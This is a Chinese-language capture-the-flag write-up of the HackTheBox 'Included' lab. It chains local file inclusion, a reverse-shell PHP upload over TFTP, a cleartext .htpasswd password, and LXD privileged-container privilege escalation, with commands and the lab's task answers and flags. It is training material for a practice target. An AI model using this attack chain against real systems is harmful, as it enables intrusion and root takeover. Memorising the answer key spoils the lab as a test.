HackTheBox-Starting Point--Tier 2---Included

文章目录

  • 一 Included 测试过程
    • 1.1 打点
    • 1.2 横向移动
    • 1.3 权限提升
  • 二 题目


一 Included 测试过程


1.1 打点

  1.端口扫描

nmap -sV -sC 10.129.193.21

在这里插入图片描述

  2.访问web站点

在这里插入图片描述

  3.文件包含漏洞探测

  观察请求地址:http://10.129.193.21/?file=home.php,利用file参数动态加载文件,尝试进行文件包含漏洞探测。

  服务器操作系统是ubuntu,尝试包含/etc/passwd文件,成功访问/etc/passwd

在这里插入图片描述

  4.TFTP利用

  在包含/etc/passwd文件后,发现存在mike、tftp用户。

  TFTP (Trivial File Transfer Protocol)是一种简单的协议,提供基本的文件传输功能,不需要用户身份验证。TFTP使用用户数据报协议(UDP)进行通信,适用于不需要文件传输协议(FTP)提供的复杂交互的应用程序。
  通过上述描述可知:TFTP运行在UDP端口上,并且不需要身份验证。

  TFTP服务器已经连接上,可以上传下载文件,此时可以通过TFTP服务器上传一个反弹shell,使用文件包含漏洞执行shell。

# 使用TFTP连接工具
tftp 10.129.193.21
put  reverse-shell.php

在这里插入图片描述

  5.利用文件包含反弹shell

# 开启监听
ncat -nvlp 1234

  文件包含执行reverse-shell.php文件,TFTP文件路径在之前读取/etc/passwd的时候已经发现:/var/lib/tftpboot

在这里插入图片描述

# 利用文件包含执行reverse-php.shell
curl "http://10.129.193.21/?file=/var/lib/tftpboot/reverse-shell.php"

在这里插入图片描述

在这里插入图片描述

# 获取交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

  6.UDP端口扫描

UDP扫描需要root权限
sudo nmap -sU 10.129.193.21

在这里插入图片描述


1.2 横向移动


  1.在/var/www/html文件夹下查找mike用户相关信息

在这里插入图片描述

cd /etc/passwd
ls -la 

在这里插入图片描述

  2.读取.htpasswd文件

# 发现mike用户账号和密码:mike:Sheffield19
cat .htpasswd

在这里插入图片描述

  3.切换到mike用户

su mike
Sheffield19

在这里插入图片描述

在这里插入图片描述


1.3 权限提升


  1.使用 id 命令显示mike用户身份信息

在这里插入图片描述

  LXD解析:

  LXD是一个管理API,用于在Linux系统上处理LXC容器。它将为本地lxd组的任何成员执行任务。 LXD 是一个根进程,它对任何对 LXD UNIX 套接字具有写入权限的人执行操作。它通常不会尝试匹配调用用户的权限。本地“lxd”组的成员可以立即将权限提升到主机操作系统上的 root 权限。这与该用户是否被授予 sudo 权限无关,并且不需要他们输入密码。即使使用 LXD snap 软件包,该漏洞也存在。

  2.LXD权限提升

  1 下载 lxd-alpine-builder.git

git clone  https://github.com/saghul/lxd-alpine-builder.git

  2 开启http server

python3 -m http.server 8000

  3 将 alpine.tar.gz 上传至/tmp目录
在这里插入图片描述

  4.将alpine镜像导入lxd,并验证导入是否成功

lxc image import ./alpine.tar.xz  --alias Alpine
lxc image list

在这里插入图片描述

  5.将目标主机的根目录挂载到镜像里的/mnt/root目录下

lxc init Alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

  6.启动pricesc,并从中启动一个shell

lxc start privesc
lxc exec privesc /bin/sh

在这里插入图片描述

  查看root flag

在这里插入图片描述

二 题目


Tags

PHP、Web、Network、Custom Applications、Protocols、Apache、TFTP、LXD、Reconnaissance、Local File Inclusion、Clear Text Credentials、Arbitrary File Upload译文:PHP、Web、网络、自定义应用程序、协议、Apache、TFTP、LXD、侦察、本地文件包含、明文凭据、任意文件上传

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.译文:生成目标机器,IP 将显示在此处

TASK 1

What service is running on the target machine over UDP?译文:目标计算机上通过 UDP 运行什么服务?答:tftp

TASK 2

What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?译文:端口 80 上托管的网页容易受到哪一类漏洞的攻击?答:Local File Inclusion

TASK 3

What is the default system folder that TFTP uses to store files?译文:TFTP 用于存储文件的默认系统文件夹是什么?答:/var/lib/tftpboot/

TASK 4

Which interesting file is located in the web server folder and can be used for Lateral Movement?译文:哪个有趣的文件位于 Web 服务器文件夹中,可用于横向移动?答:.htpasswd

TASK 5

What is the group that user Mike is a part of and can be exploited for Privilege Escalation?译文:用户 Mike 所属的组是什么,可以被用于权限提升?答:lxd

TASK 6

When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?译文:当使用映像通过容器利用系统时,我们会寻找一个非常小的分布。我们最喜欢的这项任务是以山脉命名的。该发行版名称是什么?答:Alpine

TASK 7

What flag do we set to the container so that it has root privileges on the host system?译文:我们为容器设置了什么标志,以便它在主机系统上具有 root 权限?答:security.privileged=true

TASK 8

If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?译文:如果根文件系统挂载在容器的 /mnt 中,那么挂载主机系统后,在容器上的什么位置可以找到根标志?答:/mnt/root/

SUBMIT FLAG

Submit user flag译文:用户flag答:a56ef91d70cfbf2cdb8f454c006935a1

SUBMIT FLAG

Submit root flag译文:提交root flag答:c693d9c7499d9f572ee375d4c14c7bcf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/144481.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring】 Spring中的IoC(控制反转)

以往在定义业务层实现时,在指定具体地Dao时候需要具体地定义出其实现: public class BookServiceImpl implements BookService{private BookDao bookDao new BookDaoImpl();public void save(){bookDao.save()} }public class BookDaoImpl implements …

只有开源才能拯救AI

导语 | 随着 AI 技术的蓬勃发展,大模型的开源化正成为人工智能领域的新潮流,但同时引发的伦理和安全风险也饱受大家关注,如何把握平衡其中的尺度成为开源的一大难题。我们又应该如何有效进行开源治理?未来将走向何方?今…

二叉树题目:统计二叉树中好结点的数目

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题:统计二叉树中好结点的数目 出处:1448. 统计二叉树中好结点的数目 难度 5 级 题目描述 要求 给定一…

IEEE Standard for SystemVerilog—Chapter14. Clocking blocks

14.1 General This clause describes the following: — Clocking block declarations(时钟块声明) — Input and output skews(输入和输出偏斜) — Clocking block signal events(时钟块信号事件) — Cycle delays(周期延迟) — Synchronous events(同步事件) — Synchronous…

Ubuntu22.04离线安装uwsgi问题记录

GCC4.8安装 1、报错信息1: 由于缺少gcc4.8环境导致的无法安装uwsgi 解决方案: 离线安装GCC4.8环境, GCC4.8.5离线安装步骤如下: 1、下载gcc的离线安装包及其依赖包,链接如下: https://download.csdn.net/download/…

idea运行项目之后一直卡在Writing classes… 解决方案

最近遇到idea里直接运行一个Spring boot项目后,idea一直慢悠悠的parsing java,然后就writing classes,然后就一直卡着不动了,运气好10几分钟能把项目启动起来。 多年的摸鱼经验告诉我,事出反常必有妖,赶紧…

35、Flink 的 Formats 之CSV 和 JSON Format

Flink 系列文章 1、Flink 部署、概念介绍、source、transformation、sink使用示例、四大基石介绍和示例等系列综合文章链接 13、Flink 的table api与sql的基本概念、通用api介绍及入门示例 14、Flink 的table api与sql之数据类型: 内置数据类型以及它们的属性 15、Flink 的ta…

使用.net 构建 Elsa Workflow

对接过蓝凌OA 也基于泛微OA数据库原型重新研发上线过产品,自研的开源的也上线过 每个公司对OA流程引擎介绍 都不一样的, 比如Elsa 这款微软MVP开源组件,基于跨平台开发的技术含量高,专门做OA的同行推过对应文章。 直接看怎么用吧。…

新版本!飞凌嵌入式RK3568系列开发板全面支持Debian 11系统

飞凌嵌入式OK3568-C/OK3568J-C开发板现已全面支持Debian 11系统,新系统的加持能为用户提供主控新选择,并为开发者带来更多开发便利! Debian系统作为一种广受欢迎和信赖的开源操作系统,以其稳定性、可靠性和开放性而闻名&#xff0…

MySQL(16):变量、流程控制与游标

变量 在MySQL数据库的存储过程和函数中,可以使用变量来存储查询或计算的中间结果数据,或者输出最终的结果数据。 在 MySQL 数据库中,变量分为 系统变量 以及 用户自定义变量 。 系统变量 变量由系统定义,不是用户定义&#xff…

centos搭建docker镜像Harbor仓库的简明方法

在kubernetes集群中如果要部署springcloud这样的应用,就必须有一个自建的docker镜像中心仓库。 它的目的有两点: 1. 镜像拉取速度快 2. 开发好维护 而Harbor是一个非常好用的docker本地仓库 所以本篇文章来讲讲如何在部署Harbor仓库 首先系统版本最…

前端实现RSA非对称加密及生成RSA公私密钥

前端实现RSA非对称加密 RSA简介安装jsencryptRSA加密RSA解密如何生成公私秘钥(windows) RSA简介 RSA用于保密性时,就是公钥加密,私钥解密。 因为公钥是可以公开了, 那么任何人都可以使用公钥对信息进行加密&#xff0…

npm封装插件打包上传后图片资源错误

问题: npm封装插件:封装的组件页面涉及使用图片资源,在封装的项目里调用图片显示正常;但是打包上传后,其他项目引入使用报错找不到图片资源;图片路径也不对 获取图片的base64方法 解决方案: 将…

一个合格的软件测试工程师该如何提升自己

作为一名软件测试工程师,如何提升自己的核心竞争力?如何提高自己的专业水平? 一、持续挑战自我 没有挑战,便不会进步。每月给自己一个小目标,每季度一个大目标;比如,从纯手工测试到专项测试的转…

新手小白看过来——带你快速入门跨境电商

近几年来,国内外贸交易是越来越火爆,其中跨境电商成为了2023年的热门风口行业,尽管现在做跨境电商的从业者有很多,但仍然有许多0基础小白想通过跨境电商获取人生的第一桶金,那么新手应该如何在跨境电商领域取得成功呢&…

【博客系统】 一

该博客系统基于servlet和mysql数据库 , 并且通过xshell终端工具部署至云服务器. 实现的功能包括: 1.博客列表页 2.博客详情页 3.登陆页面 4.强制登陆检查 5.获取用户信息 6.退出登陆 7.发布博客 一.系统展示 登陆页面 博客列表页 博客详情页 博客编辑页 下面就开始编写代码了.…

react+video.js h5自定义视频暂停图标

目录 参考网址 效果图,暂停时显示暂停图标,播放时隐藏暂停图标 代码说明,代码传入url后,可直接复制使用 VideoPausedIcon.ts 组件 VideoCom.tsx Video.module.less 参考网址 在Video.js播放器中定制自己的组件 - acgtofe 效…

域控操作四:本地化统一壁纸切可随时更改

分两步 1,将壁纸发送到本地,2指向本地地址路径 将壁纸发送到本地 用户配置–首选项–Windows设置–文件 按图进行更改就可以将共享文件夹的图片发送到员工电脑上 2将壁纸指向刚刚设置的目的文件 用户配置–策略–管理模板–桌面–桌面 按图进行设置即…

使用UART烧录N76E003AT20核心板

目录 模块简介烧录方式利用ISP对N76E003AT20核心板进行烧录ICP烧录BootloaderISP烧录程序(UART)测试现象 总结 模块简介 N76E003为带有flash的增强型8位8051内核微控制器(1T工作模式),指令集与标准的80C51完全兼容并具…

RDB是什么?·

目录 一、RDB是什么? 二、 RDB触发机制 2.1 手动触发 2.2 自动触发 2.3 RDB执行流程 三、RDB的文件处理 四、RDB的优缺点 一、RDB是什么? RDB是Redis DataBase,是Redis实现数据持久化的一种方式。因为Redis的数据是存储在内存中的&#xff0…